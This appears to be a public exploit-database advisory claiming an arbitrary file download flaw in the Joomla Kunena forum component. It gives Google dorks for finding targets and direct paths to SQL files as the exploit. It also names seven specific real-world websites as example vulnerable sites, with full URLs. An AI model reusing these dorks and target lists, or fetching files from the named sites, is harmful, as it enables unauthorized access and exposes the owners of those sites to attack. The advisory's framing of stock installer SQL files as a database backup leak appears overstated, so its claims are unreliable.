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# Exploit Title : Joomla com_kunena Components Database Backup Arbitrary File Download Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 23/11/2018
# Vendor Homepage : extensions.joomla.org/extension/kunena/ ~ kunena.org/download
# Tested On : Windows and Linux
# Category : WebApps
# Price : 10,00 Euro
# Version : Kunena 1.0 and 1.5 ~ 5.1.1 / 3.8
# Software Purchase and Download Link :
kunena.org/download/plugins/product/powered-by-remover
kunena.org/download/templates/product/blue-eagle-5
# Google Dorks :
inurl:''/administrator/components/com_kunena/install/sql/''
inurl:''/index.php?option=com_kunena''
inurl:''/index.php?option=com_kunena&view=topic&catid=''
# Exploit Risk : Medium
# CWE : CWE-264 - [ Permissions, Privileges, and Access Controls ]
CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ]
CWE-530 [ Exposure of Backup File to an Unauthorized Control Sphere ]
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# Admin Panel Login Path :
/administrator/
# Exploit :
/administrator/components/com_kunena/install/sql/migrate/mysql/fireboard.sql
/administrator/components/com_kunena/install/sql/migrate/mysql/joomlaboard.sql
/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql
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# Example Vulnerable Sites =>
[+] bedrijfstaalcursussen.com/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql
[+] abdillikoyu.com/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql
[+] werkenmetdbcs.nza.nl/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql
[+] djconstrucao.com.br/apagar/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql
[+] vir.nw.ru/test/vir.nw/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql
[+] xerte.org.uk/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql
[+] bargainbusinessbuyers.co.uk/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
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